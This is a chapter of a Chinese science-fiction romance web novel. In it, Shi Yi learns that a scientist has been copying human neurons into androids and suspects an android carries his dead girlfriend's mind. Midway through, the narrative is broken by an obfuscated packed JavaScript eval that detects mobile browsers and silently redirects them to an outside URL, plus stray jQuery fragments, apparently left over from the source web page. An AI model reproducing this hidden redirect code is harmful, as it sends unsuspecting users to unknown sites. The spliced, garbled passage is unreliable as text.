顾俊的话令时熠大吃一惊。
他告诉时熠,叶明霜的亲姑姑,叶晓舟博士,此前研究的项目一直是将人类的神经元细胞完整扫描,然后复制到仿生人身上。
也就是说,叶博士前一阵子一直致力于为活生生的“人”制作一个“副本”,不仅仅是人的躯体,也包括思想和意识。
时熠听到这里已经完全惊呆了,他愣是消化了良久,才缩回双手,但又马上拉住顾俊,追问他细节。
然而顾俊却并不知道。
他与叶晓舟是同专业同领域的同行,却并不是同事,完全不清楚叶晓舟实验室的项目细节。
他只能向时熠解释一些最基础的的概念,神经元是什么,有没有可能复制,真的复制了该如何积成……理论上确实有可能完全复制人类的全部神经元,让仿生人真正成为一个“人类”。
“这个项目难道没有伦理道德方面的问题吗?”时熠越听越觉得不对。
“这是个好问题,”顾俊对时熠的敏锐感到意外,“叶教授的项目在科学伦理道德委员会那里受到审查的时间简直比项目本身研究的时间都要长。据我所知,这个项目实际上一直都没有得到彻底的批复。叶教授得到的授权仅仅是她能够‘扫描’活人的神经元,那还是在一年以前……”
“一年以前?”
时熠喃喃地重复着这时间,脑海里飞快闪过去年冬天发生的事。
明霜背着她的小挎包,与时熠吻别:“别担心,我只是离开两三天,去姑姑那里给她帮个忙而已。”
时熠问她帮什么忙,明霜回答说:“我是姑姑一个研究项目的志愿者,要配合她做一些试验。”
时熠当时便打了个寒颤,脑海里直接将叶晓舟想象成了科学怪人的模样,穿着白大褂,戴着护目镜,手里拿着各种可怕的解剖工具,躺在试验台试验品则是她的亲侄女。
而明霜一看时熠的样子就知道他满脑子里都在描摹什么,“噗嗤”一声笑了出来:“哪有你想得那么可怕,姑姑说,只是给我的大脑做个影像档案,也就是拍张照片那么简单……”
顾俊刚刚才向他解释过“扫描”神经元的意义——“就好比拍照存证那么简单”。
时熠猛地转头看向顾俊,双手突然伸出,攥住了对方的衣领,眼里写满了急切:“老头,你对这个项目还知道多少?叶博士最近有……没有什么进展?”
他的力量之大,几乎直接要将站着的顾俊从地面上提起来。
“小熠,你……你别激动!”
顾俊连忙要将遭了秧的领口从时熠手里解救出来,然后摇头道:“我……我不知道。叶教授的项目在伦理道德委员会那里没有新的进展。确切地说,除了扫描神经元这一步,叶教授再多做任何一点,都是不合法的试验……”
时熠松开了顾俊的领子,整个人看起来有点茫然。
顾俊连忙补救:“但是……我这是猜测,纯粹猜测哈——叶小姐出现之后我忽然有了一个想法,有没有可能后来没多久明霜就出了事故,叶教授为了她的亲侄女有可能继续活在这个世界上,就继续推进了这个项目,将明霜的思维与意识复制在了仿生人的身体上……”
一时间时熠完全陷入茫然。
突然降临在他身旁的仿生女郎,难道真的继承了明霜的思想,这么说来他一直以来的直觉都是准确的?
不,不会,就算是叶晓舟真的“复制”了一个明霜,也不会将她像是发货一般直接打包快递送到他身边。
但如果,叶晓舟这么做是为了逃避伦理道德委员会的审查呢?
在明霜去世之后,叶晓舟为她世上唯一的亲人再造了一副仿生人的身躯,然后再复制了明霜的全部神经元给那个仿生人?
但这还是没法儿解释,为何叶博士自始至终都保持沉默,甚至从不曾理会时熠,连一个通讯都没有。
时熠紧蹙着眉头,总觉得缺失了几道重要信息,令他无法想通其中各个环节。
但顾俊这是不想再理他了,学究气十足的顾老头脸上忽然洋溢着温柔,笑着向时熠身后打招呼:“真真,你怎么也出来了?外头冷,来把我这件外套披上。”
顾俊说着就要脱外套。
何启真今天穿得很复古,应该是配合赛博酒吧今天的“怀旧”风格。她穿着带盘扣的立领小棉袄和红绸及膝喇叭短裙,头发也束起来,在脑袋两边各梳了一个鬏鬏,有点古早游戏里的人物形象。
她腰间别着一个方方正正,匣子一般的物品。这件物品看起来像是初代科技产物,上面有一排按键,有一个可以弹开的卡槽,物品上还延伸出一道延长线,延伸了1米左右,突然分成两股……可能只有资深老物件收藏家才能认出,这件物品是上世纪的产物,是卡带音乐播放器,又有个名字叫“随身听”。
这种播放设备太过古早,以至于现在已经没有几个人晓得如何使用。
“美丽冻人”的何启真似乎一点儿都没听见顾俊在说什么。她抬起脸冲时熠粲然一笑,露出一排洁白整齐的牙齿。
“熠哥哥,和真真一起听会儿音乐吗?我好不容易淘来的老带子,音乐很好听!”
说着,何启真向时熠挤了挤眼睛,使了个眼色,做了个口型。
被完全忽视了的顾俊手中还拿着外套,可怜兮兮地定在那里。他眼睁睁地看着时熠接受了何启真的邀请,凑了过去。何启真从自己右耳中取出耳机,递给时熠,自己则凑在时熠左边——两人共用一副耳机,头凑着头,似乎在认真欣赏耳机里传来的音乐。
何启真甚至在随着音乐的节律轻轻扭动腰肢,晃着脑袋。她娇小的身躯渐渐贴近时熠身边,终于抱住了时熠的胳膊。
有趣的是,时熠并没有抗拒,两个人看似像是在分享耳机,倾听着同一支曲子,其实这两人靠得非常近,正在用只有他们两人能够听见的悄悄话交流。说到有趣处,时熠甚至张开双臂,将何启真揽至身边,态度十分亲密。
两人身后的顾俊顿时苦笑:这么多年了,何小妹的心思他这个老大哥怎么会不不知道?明明就是他暗恋何启真,何启真暗恋时熠,而时熠和叶明霜这两个世界上最幸运的家伙在互相爱恋。
现在没有了叶明霜这个障碍,又有长辈们愿意撮合,何启真当然要抓住这个天赐的良机。
至于那个仿生女郎——顾俊能理解时熠的想法:仿生人哪里比得上活生生的真人?更何况是真真这样可爱的小妹妹,任谁也舍不得伤害了这个女孩的心。
这么想着,顾俊在心中长长地叹了一口气,转过身去,不忍心再看。
此时此刻,时熠却心乱如麻。
他面对何启真,用口型“说道”:你说的,都是真的?
何启真点点头,一双大大的眼睛里已经盈满了泪水。
时熠紧咬着嘴唇,不知该对何启真作何回应。但这并不妨碍他的大脑在高速运转。
刚才何启真向他使眼色的时候,时熠就留意到了,在这赛博酒吧的院子里,不知什么时候多了几个人,正一直盯着他和顾俊、何启真的方向。
跨年夜里天气寒冷,而且现在烟火表演还没有开始,没人傻到总待在室外喝西北风。
这几个人待在院子里,也不聊天,只管双手揣兜四处转悠,视线却不离他与何启真。
时熠当时就起了疑心,再听何启真那“随身听”里传出来的声音——
“时熠,我有一件非常非常重要的礼物要送给你!叫她礼物或许不太恰当。她是一件珍宝,我希望能把她带回给你……”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900689|160045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这竟然是叶晓舟的声音。
时熠终于意识到到底是哪里不对了——何启智,何启真的兄长,叶晓舟的合作方……以前跨年的场合他一定会陪妹妹一起过来,与从小一起长大的朋友们一道消磨一个热闹的夜晚。
可是今天,直到现在,何启智都没有出现。
取而代之的是那些一直监视着何启真的人。
“时熠,请原谅我,这是我实在没办法了才出的下策。但我唯一能想到的只有你,你了解她,爱她,希望她能够好好活在这个世上。
“我想,只有你,能够让叶霜明有机会从一个‘副本’,恢复为真正的‘明霜’……”
时熠与何启真“交谈”了两句,用他们独有的“口型”交流方式又说了两句——他们两个从小就习惯了这种交流。只不过,童年玩伴的情谊与爱情远远不是一回事,当事人两人都非常清楚。
“熠哥哥,”何启真眼圈发红,声音里已经带了一点哭腔,她扬起脸望着时熠,“这件事是真真的错,你能原谅真真吗?”
时熠心想:在我不知情的情况下,在我的邮箱里开了“后门”,并且把如此重要的信息截留了。
于是他冲对面的女孩语气生硬地回答:“不能……”
何启真奋力咬着嘴唇才没哭出声来,这时才听见时熠把话说完:“人不能只顾自怨自艾,而不去努力解决问题。真真,你能来到这里,把真相都告诉我,你已经很勇敢了!”
紧接着,时熠给了何启真一个温暖的拥抱。
他知道周围那几个人肯定都是何启智的手下,今晚负责盯着他和何启真的动向。作为何启智唯一的血亲,此时此刻,何启真背负的压力也并不小。
何启真的心早就悬起,此刻更是鼻子酸涩,泫然欲泣,心里暗暗埋怨:熠哥哥,一口气把话说完会死吗?
就在这时,忽听远处传来“砰”的一声,将人们的注意力都引向“穹窿”那边。
紧接着,轰隆声连绵响起,夜空就像是被施加了魔法,陡然绽放出无尽绚烂——虽然还没有到岁末钟声响起的时候,可是夜晚的烟火表演已经提前三十分钟准备就绪,开始预演。用于烘托气氛的小型烟花在夜空中此起彼伏地闪现,似乎正在为城市织就一件流光溢彩的新衣。
何启真的注意力刚被烟火表演引开,就又听见时熠在耳边继续说:“真真,熠哥哥和你明霜姐都希望你能做正确的选择,找到对的人。打开你的心,你会能发现最适合你的人其实早就在身边了。”
“真真,新年快乐!”
说毕,时熠就放开了何启真。
何启真正在惊异时熠什么时候变得这么能说会道了,忽然觉得身上一暖,她肩膀上立即搭了一件带着体温的长大衣。顾俊那张温和的“老脸”出现在她面前,男人一面为她整理衣物,一面不住口地唠叨:“年轻人,可不能只逞一时之快就忘记了保养身体啊……”
时熠的话犹在耳边,何启真一下就看清了顾俊的表情。多年来“老头”那些无微不至的关怀一时间尽数涌上心头,她望着顾俊,一时忘了言语。
而时熠的注意力,也早就转向了出现在小院尽头的米兰。
米兰身边空空的,原本和她形影不离的仿生女郎不知什么时候不见了。
时熠的心忽然一跳,升起某种不好的预感。他连忙追问米兰叶霜明的去向,米兰却摇手说没事:“我刚才替她叫了出租悬浮器,现在她已经在回家的路上了。”
米兰似笑非笑地看了看时熠和正在与顾俊一道细细叙话的何启真:“我想,她可能是看到了你和这位年轻小姐促膝长谈的情形,感受到了某种别样情绪吧!”
米兰:“在她面前,你该如何表现,时熠,你可能要好好把握把握。”